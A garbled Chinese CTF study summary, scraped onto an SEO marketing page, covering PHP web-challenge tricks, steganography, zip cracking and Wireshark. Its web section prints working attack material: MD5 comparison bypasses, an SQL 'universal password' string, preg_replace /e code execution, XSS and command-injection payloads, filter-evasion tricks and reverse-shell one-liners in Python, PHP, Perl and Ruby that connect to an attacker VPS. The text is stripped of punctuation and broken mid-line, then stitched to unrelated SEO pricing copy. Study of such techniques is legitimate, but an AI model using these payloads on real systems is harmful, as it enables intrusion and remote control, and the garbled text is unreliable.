96SEO 2026-02-19 12:46 3
。

GET请求应该安全且幂等#xff0c…对XYctf的一些总结
X-Forwarded-For/Client-ip修改来源ip
GET此方法用于请求指定的资源。
GET请求应该安全且幂等即多次执行相同的GET请求应该产生相同的结果。
POST此方法用于向指定的资源提交数据以便根据所提供的数据创建/更新资源。
POST请求不是幂等的每次执行相同的POST请求可能会产生不同的结果。
User-Agent此头部字段提供了关于发送请求的应用程序或用户代理的信息。
这可以包括浏览器的名称和版本、操作系统等信息。
Accept此头部字段指定客户端接受哪些类型的数据。
例如可以指定接受HTML、JSON、XML等格式的数据。
Content-Type此头部字段指定在POST或PUT请求中发送的数据的类型。
例如如果发送的是JSON数据那么此头部字段应该设置为application/json。
Content-Length此头部字段指定POST或PUT请求中发送的数据的长度
Cookie此头部字段包含由服务器发送的cookie信息这些信息将在后续的请求中自动包含以便服务器识别用户或保存状态信息。
Referer此头部字段指定原始URL即从哪个URL页面跳转到了当前页面。
Host此头部字段指定请求的主机名和/或端口号。
这是必需的因为HTTP是一个基于TCP/IP的协议没有主机名和端口号服务器无法知道请求来自哪里。
PUT此方法用于完整地更新指定的资源。
由于PUT请求是幂等的多次执行相同的PUT请求应该产生相同的结果。
OPTIONS此方法用于获取指定的资源所支持的通信选项。
这可以用于CORS跨源资源共享检查。
Authorization此头部字段用于向服务器提供身份验证信息例如Bearer
0e开头的字符串在参与比较时,会被当做科学计数法,结果转换为0
常用的MD5加密后以0E开头的有QNKCDZO240610708byGcYsonZ7yaabg7XSsaabC9RqSs878926199as155964671as214587387as1091221200a数组绕过
md5不能加密数组,传入数组会报错,但会继续执行并且返回结果为null
需要注意的是0e绕过只能绕过弱类型比较(),而数组绕过不只可以绕过弱类型比较,还可以绕过强类型比较()
弱类型比较(),只判断内容是否相等,如果是字符串类型,则转换成数值型后进行判断强类型比较(),判断内容的基础上,还会判断类型是否相同2.2md5加密后等于本身
这里也是利用到了上面的0e绕过需要找本身是0e开头的而且md5结果也为0e开头的字符串如
md5(0e215962017)0e291242476940776845150308577824
MD5碰撞也叫哈希碰撞,是指两个不同内容的输入,经过散列算法后,得到相同的输出,也就是两个不同的值的散列值相同
如果第二个参数为true会返回原始值而不是16进制原始值会包含mysql中的特殊字符因此很危险
276f722736c95d99e921722cf9ed621c
经过MySQL编码后会变成or6xxx,使SQL恒成立,相当于万能密码,可以绕过md5()函数的加密3.preg_系列漏洞
参数说明$pattern要搜索的模式可以是字符串或一个字符串数组$replacement用于替换的字符串或字符串数组$subject要搜索替换的目标字符串或字符串数组$limit可选对于每个模式用于每个
preg_replace(/script/i,,$name);echo
匹配大小写字母但是逻辑有问题只是仅仅将关键词替换为空可以使用嵌套双写绕过
http://x.x.x.x/xxx.php?namesscriptcriptalert(2333)/sscriptcript想要完全杜绝嵌套双写可以采用通配符进行匹配
/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i,
http://x.x.x.x/xxx.php?nameScriptalert(2333)/Script/m
(!(preg_match(/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m,
http://x.x.x.x/xxx.php?ip127.0.0.1%0acat
这是这次比赛中需要利用的漏洞但是只用到了最基础的无限制传参/e还有更多的使用方法
preg_replace($_GET[a],$_GET[b],$_GET[c]);
http://x.x.x.x/xxx.php?a/233/ebphpinfo()c233简单正则匹配
?phperror_reporting(0);include(flag.php);$pattern
2333;preg_replace($pattern,$new,$base);
http://10.211.55.5/shell/shell.php?pattern/\d/e此时使用中国蚁剑去自定义请求头并连接
参数说明$pattern要搜索的模式字符串形式。
$subject要搜索检测的目标字符串$matches如果提供了参数
将包含第一个捕获子组匹配到的文本以此类推。
$flags可设置标记值详细用法参考
可以用工具fastcoll强碰撞直接构造两个md5值相同但是内容不相同的文件
进入cmd运行fastcoll程序-p参数后跟要构造的原文件的文件名会生成两个功能和原文件一样且md5也一样的文件5.php代码过滤绕过
题目给了长度限制和很多正则匹配过滤涉及到了很多的小绕过tips
凡是打上反引号的命令首先将反引号内的命令执行一次然后再将已经执行过的命令得到的结果再执行一次就可以得到我们反引号的输出
hello.txt是一个字符串。
由于我们事先在整个bash命令上打上了反引号因此我们使用还会执行一次反引号命令也就是将刚才得到的字符串cat
hello.txt执行一次因此可显示hello.txt当中的所有文字利用这个特性反引号执行系统命令(只有两个字符)
代理Proxy是一种允许一个实体代表另一个实体执行某种任务或行动的机制或中介。
在计算机网络中代理是一台计算机或服务器充当客户端和目标服务器之间的中介。
网络代理可以用于多种目的如加速数据传输、缓存、过滤内容、保护隐私、绕过防火墙等。
常见的网络代理类型包括代理服务器、反向代理和内容分发网络CDN。
代理服务器是一种位于网络中的服务器它接受来自客户端的请求并将这些请求转发给目标服务器。
代理服务器可以隐藏客户端的真实IP地址提供匿名性还可以用于访问受限制的内容例如绕过地理区域限制的内容。
顺着请求的方向进行的代理即代理服务器它是由你配置为你服务去请求目标服务器地址。
代理服务器代表客户端执行请求当客户端需要访问互联网上的资源时它向正向代理服务器发送请求然后代理服务器将请求转发给目标服务器并将响应返回给客户端。
正向代理可用于隐藏客户端的真实IP地址访问被限制的内容过滤和加速请求等。
我们访问一个目标时可以通过几个代理服务器进行转发达到防止被其他人查到自己真实的IP的目的。
反向代理是位于目标服务器和客户端之间的服务器代表目标服务器执行请求。
当客户端需要访问某个服务时它发送请求到反向代理服务器然后代理服务器将请求转发给目标服务器并将响应返回给客户端。
反向代理通常用于负载均衡、SSL终止、内容缓存、安全性、保护后端服务器和隐藏后端服务器的身份等。
Connection正向连接是一种常见的网络通信模式其中客户端主动发起连接到服务器或目标系统。
正向连接通常用于客户端-服务器通信客户端主动请求服务或资源例如网页浏览、电子邮件发送和接收等。
在正向连接中客户端充当主动方向服务器发起连接请求然后服务器接受并处理请求。
是指一种网络连接和通信模式其中目标系统通常是受害者主动建立与控制系统或服务器的连接以便远程执行命令。
在正向
中目标系统充当客户端主动连接到远程服务器或控制服务器以接受命令并将结果返回。
正向
攻击中受害者系统充当客户端主动连接到攻击者的控制服务器建立正向连接。
一旦连接建立攻击者可以远程执行命令访问目标系统并控制它。
c:\windows\system32\cmd.exe在本地或者VPS主机上连接目标主机的4444端口
Connection反向连接是一种网络通信模式其中目标系统通常是受害者主动建立与控制系统或服务器的连接。
反向连接通常用于合法的远程管理和控制例如远程桌面会话、SSH远程管理等。
在反向连接中目标系统充当客户端主动连接到远程服务器或控制服务器以接受命令并将结果返回。
是指攻击者在目标系统上部署恶意代码或程序使目标系统成为服务器等待攻击者的系统或控制服务器主动连接。
攻击者充当客户端建立到目标系统的连接。
反弹
通常用于渗透测试和攻击。
攻击者通过这种方式获得了对目标系统的远程访问和控制权。
攻击通常使用反向连接来建立与目标系统的连接。
攻击者在目标系统上执行恶意代码该代码使目标系统成为客户端主动连接到攻击者的控制服务器建立反向连接。
一旦连接建立攻击者可以远程执行命令访问目标系统并控制它。
socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((vps或本地主机的ip,2222));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);bash
$sockfsockopen(vps或本地主机的ip,2222);exec(/bin/bash
Socket;$ivps或本地主机的ip;$p2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,S);open(STDOUT,S);open(STDERR,S);exec(/bin/sh
cTCPSocket.new(vps或本地主机的ip,2222);while(cmdc.gets);IO.popen(cmd,r){|io|c.print
fork;cTCPSocket.new(vps或本地主机的ip,2222);while(cmd6.4带外查询
带外查询是一种网络攻击或渗透测试技术其原理是在绕过网络安全设备如防火墙、入侵检测系统的检测下通过非传统的通信通道来进行数据传输或执行操作。
这种技术依赖于一些特殊的通信方法以达到绕过检测的目的。
通常需要易受攻击的实体生成出站TCP/UDP/ICMP请求然后允许攻击者泄露数据。
而从域名服务器DNS中提取数据。
作用与more类似,都用来浏览文本文件中的内容,不同之处在于,使用
Dump)命令用于将指定文件内容以八进制、十进制、十六进制、浮点格式或
这俩都是Linux里的文件编辑器我们在网页直接用system(“vim
/f*”);虽然不会进入编辑模式但还是可以看到里面的内容。
用法为:
中的指令帮助、配置文件帮助和编程帮助等信息类似于vim/vi直接对文本运行可以看到文本内容。
用法为
使用paste命令可以将每个指定文件里的每一行整合到对应一行里写到标准输出,之间用制表符分隔。
用法为
linux里可以用点号执行shell脚本同样我们也可以用这种方法报错读取文件内容前提是你的用户组有读取文件的权限
这个自然是最常见的了比如我们知道flag的名字就是flag但是可能flag这个字符串被过滤了我们就可以用?匹配被ban的字符用cat
linux里可以用[9-q]这种形式匹配ascii码在9到q之间的字符自然cat
linux里ca’t、ca\t、cat和cat是等效的所以我们可以用这种方式绕过关键词过滤
\̲1̲46\154\141\147…’\146\154\141\147’即可
“|”是Linux管道命令操作符简称管道符。
使用此管道符“|”可以将两个命令分隔开“|”左边命令的输出就会作为“|”右边命令的输入此命令可连续使用第一个命令的输出会作为第二个命令的输入第二个命令的输出又会作为第三个命令的输入依此类推
PATH:0:1的使用方法也挺多的比如{PATH:4:1}也代表/当我们查看linux的环境变量其实可以发现很多替代方法比如
PWD:0:1、{HOME:0:1}、${SHELL:0:1}等等
服务器端模板注入也是格式化字符串的一个非常好的例子如今的开发已经形成了非常成熟的
,在这之前也给了我非常大的误导(只能说自己没有好好研究浅尝辄止)请记住凡是使用模板的地方都可能会出现
不属于任何一种语言沙盒绕过也不是沙盒绕过只是由于模板引擎发现了很大的安全漏洞然后模板引擎设计出来的一种防护机制不允许使用没有定义或者声明的模块这适用于所有的模板引擎。
Smarty算是一种很老的PHP模板引擎了非常的经典使用的比较广泛Twig
Twig是来自于Symfony的模板引擎它非常易于安装和使用。
它的操作有点像Mustache和liquid
这个引擎我想应该没人不知道吧这个应该也是我最初学习的一个模板引擎非常的经典
以快速开发著称有自己好用的ORM他的很多东西都是耦合性非常高的你使用别的就不能发挥出
应用模板内容的一部分模板引擎在进行目标编译渲染的过程中执行了用户插入的可以破坏模板的语句因而可能导致了敏感信息泄露、代码执行、GetShell
单纯的字符串拼接并不能带来注入问题关键要看你拼接的是什么如果是控制语句就会造成数据域与代码域的混淆这样就会出现漏洞
我认为杂项题更多的是对于工具的运用和经验的积累,所以需要多做多积累
第一步当然是先听一下有没有什么关键的信息比如摩斯电码有间隔的长短电波SSTV连续刺耳的电波拨号隐写之类的。
如果不知道是什么声音先自行百度听过就不会忘。
然后打开以上工具看一看是否存在什么隐写如果都没有办法的话可以欣赏一下音乐就下号了。
wav文件头52494646E6AD250357415645666D7420
傻瓜式操作知道这个软件就可以解出来不知道就解不出。
这两种隐写不一定需要key但是有key一定要考虑这两种隐写。
经常打10086的时候对方可能说需要XX服务请按1需要XX服务请按2对于不同的数字有不同的声音就可以隐写一些数据。
可以通过DTMF提取出来。
DTMF脚本地址https://github.com/ribt/dtmf-decoder
简称SSTV是业余无线电爱好者的一种主要图片传输方法慢扫描电视通过无线电传输和接收单色或彩色静态图片。
这里强推虚拟声卡e2eSoft这个工具。
SSTV正常解法需要一台设备播放一台设备收音还容易收到杂音的干扰虚拟声卡就可以很好的避免这个问题。
而且播放SSTV给人一种美国间谍在秘密通信的感觉。
diff比起前面直接使用工具会有一点点麻烦所以往后排了一点。
我这里用的是Au的反相。
将得到的音频文件与原曲Diff或许就可以发现隐藏在其下面的隐藏音频如摩斯电码SSTV
定义了两种类型的数据块一种是称为关键数据块这是标准的数据块另一种叫做辅助数据块这是可选的数据块。
关键数据块定义了4个标准数据块每个
第一块是文件头数据块IHDR它由第11——32字节组成从0开始包含有
16字节开始有13个字节其前8字节分别用4个字节规定了图片的宽和高十六进制以像素为单位。
它存储实际的数据在数据流中可包含多个连续顺序的图像数据块。
它采用
的前8字节规定了图片的宽和高我们可以用十六进位文件编辑器更改它们以使得这张图片显示不完整从而达到隐藏信息的目的。
此时它的图片数据并没有变在Windows图片查看器中超过规定的图片宽高的部分只是不显示了。
error这是因为在每个数据块的最后4字节都有CRC循环冗余检测用来检测是否有错误和被篡改所以我们就可以用CRC反推图片原来的宽和高我们可以利用
脚本反推图片原宽高然后用十六进制编辑器打开图片修改图片宽高得到原图片
crc32key:print(宽为,end)print(width)print(高为,end)print(height)exit(0)2.3LSB隐写
三原色红绿蓝组成有的图片还包含A通道表示透明度每一种颜色占用8位取值范围为0x00至0xFF。
LSB
bit而人类的眼睛不会注意到这前后的变化这样每个像素可以携带3比特的信息。
是个神器可以来辅助我们进行分析。
通过下方的按钮观察每个通道的信息我们可以捕捉异常点抓住
隐写的蛛丝马迹这玩意儿很难说一般就是一看就感觉奇怪的n行或n列颜色块进而利用
块只有当上一个块充满正常length最大65524时才会继续一个新的块。
程序读取图像的时候也会在第一个未满的块停止查了下W3C标准其实是PNG图片在压缩的时候会在最后一个块的标记位标明这是最后一个数据块。
所以如果某一块没有满但后面却还有
由于一般word文档都是白色为底色所以如果文本字体设置的是白色就看不出来有东西这个时候可以试试ctrla全选文字再把颜色改成其他颜色就能看出来被隐藏的文字了
解密网站http://fog.misty.com/perry/ccs/snow/snow/snow.html
文章讲解的很详细请移步https://www.tr0y.wang/2017/06/14/Base64steg/
https://www.mzy0.com/ctftools/zerowidth1/
http://330k.github.io/misc_tools/unicode_steganography.html
https://offdev.net/demos/zwsp-steg-js
https://yuanfux.github.io/zero-width-web/
http://www.atoolbox.net/Tool.php?Id829
NT内核的系列操作系统支持的、一个特别为网络和磁盘配额、文件加密等管理安全特性设计的磁盘格式提供长文件名、数据保护和恢复能通过目录和文件许可实现安全性并支持跨越分区。
使用工具NtfsStreamsEditor右键以管理员身份运行
对于这种隐写最简单的方法是使用Kali下的binwalk进行检测
图片名foremost默认的输出文件夹为output在这个文件夹中可以找到分离出的zip推荐使用这种方法因为foremost还能分离出其他隐藏的文件
直接把图片的后缀改为.zip然后解压即可这种方法虽然简单快速但如果隐写了多个文件时可能会失败
zip伪加密与zip的文件格式有关zip中有一位是标记文件是否加密的如果更改一个未加密zip包的加密标记位那么在打开压缩包时就会提示该文件是加密的。
影响加密属性当数字为奇数是为加密为偶数时不加密因此我们更改标志位保存即可
爆破顾名思义逐个尝试选定集合中可以组成的所有密码知道遇到正确密码字典字典攻击的效率比爆破稍高因为字典中存储了常用的密码因此就避免了爆破时把时间浪费在脸滚键盘类的密码上掩码攻击如果已知密码的某几位如已知6位密码的第3位是a那么可以构造
进行掩码攻击掩码攻击的原理相当于构造了第3位为a的字典因此掩码攻击的效率也比爆破高出不少
明文攻击是一种较为高效的攻击手段大致原理是当你不知道一个zip的密码但是你有zip中的一个已知文件文件大小要大于12Byte时因为同一个zip压缩包里的所有文件都是使用同一个加密密钥来加密的所以可以用已知文件来找加密密钥利用密钥来解锁其他加密文件
常见的有缺少文件头或文件尾我们使用binwalk对文件进行扫描
如上为正常zip缺头zip和缺尾zip的binwalk扫描结果根据扫描结果用16进制编辑器添加文件头或文件尾即可修复zip
Wireshark的基本使用分为数据包筛选、数据包搜索、数据包还原、数据提取四个部分
筛选目标mac地址eth.addrA0:00:00:04:C5:84
筛选协议为udp的流量包arp/icmp/http/ftp/dns/ip
请求方法为GEThttp.request.method“GET”
流量包请求方法为POSThttp.request.method“POST”
筛选HTTP请求方法为POST的流量包指定URIhttp.request.uri“/img/logo-edu.gif”
筛选HTTP请求的URL为/img/logo-edu.gif的流量包请求或相应中包含特定内容http
Wireshark的搜索功能支持正则表达式、字符串、十六进制等方式进行搜索通常情况下直接使用字符串方式进行搜索
搜索栏的左边下拉有分组列表、分组详情、分组字节流三个选项分别对应wireshark界面的三个部分搜索时选择不同的选项以指定搜索区域
在wireshark中存在一个追踪流的功能可以将HTTP或TCP流量集合在一起并还原成原始数据具体操作方式如下
Wireshark支持提取通过http传输上传/下载的文件内容方法如下
CTF题型主要分为流量包修复、数据提取、WEB流量包分析、USB流量包分析、无线密码破解和工控流量包分析等等
6.2.2上传/下载文件蓝牙obexhttp难:文件的分段上传/下载
直接用foremost直接分离提取一下就能提取出其中隐藏的文件一般会直接分离出来一个
二维码又称二维条码是用某种特定的几何图形按一定规律在平面二维方向上分布的、黑白相间的、记录数据符号信息的图形在代码编制上巧妙地利用构成计算机内部逻辑基础的“0”、“1”比特流的概念使用若干个与二进制相对应的几何形体来表示文字数值信息通过图象输入设备或光电扫描设备自动识读以实现信息自动处理它具有条码技术的一些共性每种码制有其特定的字符集每个字符占有一定的宽度具有一定的校验功能等。
同时还具有对不同行的信息自动识别功能、及处理图形旋转变化点
以上就是我对此次比赛涉及到的一些知识点的总结不足的地方师傅们多多指教
作为专业的SEO优化服务提供商,我们致力于通过科学、系统的搜索引擎优化策略,帮助企业在百度、Google等搜索引擎中获得更高的排名和流量。我们的服务涵盖网站结构优化、内容优化、技术SEO和链接建设等多个维度。
| 服务项目 | 基础套餐 | 标准套餐 | 高级定制 |
|---|---|---|---|
| 关键词优化数量 | 10-20个核心词 | 30-50个核心词+长尾词 | 80-150个全方位覆盖 |
| 内容优化 | 基础页面优化 | 全站内容优化+每月5篇原创 | 个性化内容策略+每月15篇原创 |
| 技术SEO | 基本技术检查 | 全面技术优化+移动适配 | 深度技术重构+性能优化 |
| 外链建设 | 每月5-10条 | 每月20-30条高质量外链 | 每月50+条多渠道外链 |
| 数据报告 | 月度基础报告 | 双周详细报告+分析 | 每周深度报告+策略调整 |
| 效果保障 | 3-6个月见效 | 2-4个月见效 | 1-3个月快速见效 |
我们的SEO优化服务遵循科学严谨的流程,确保每一步都基于数据分析和行业最佳实践:
全面检测网站技术问题、内容质量、竞争对手情况,制定个性化优化方案。
基于用户搜索意图和商业目标,制定全面的关键词矩阵和布局策略。
解决网站技术问题,优化网站结构,提升页面速度和移动端体验。
创作高质量原创内容,优化现有页面,建立内容更新机制。
获取高质量外部链接,建立品牌在线影响力,提升网站权威度。
持续监控排名、流量和转化数据,根据效果调整优化策略。
基于我们服务的客户数据统计,平均优化效果如下:
我们坚信,真正的SEO优化不仅仅是追求排名,而是通过提供优质内容、优化用户体验、建立网站权威,最终实现可持续的业务增长。我们的目标是与客户建立长期合作关系,共同成长。
Demand feedback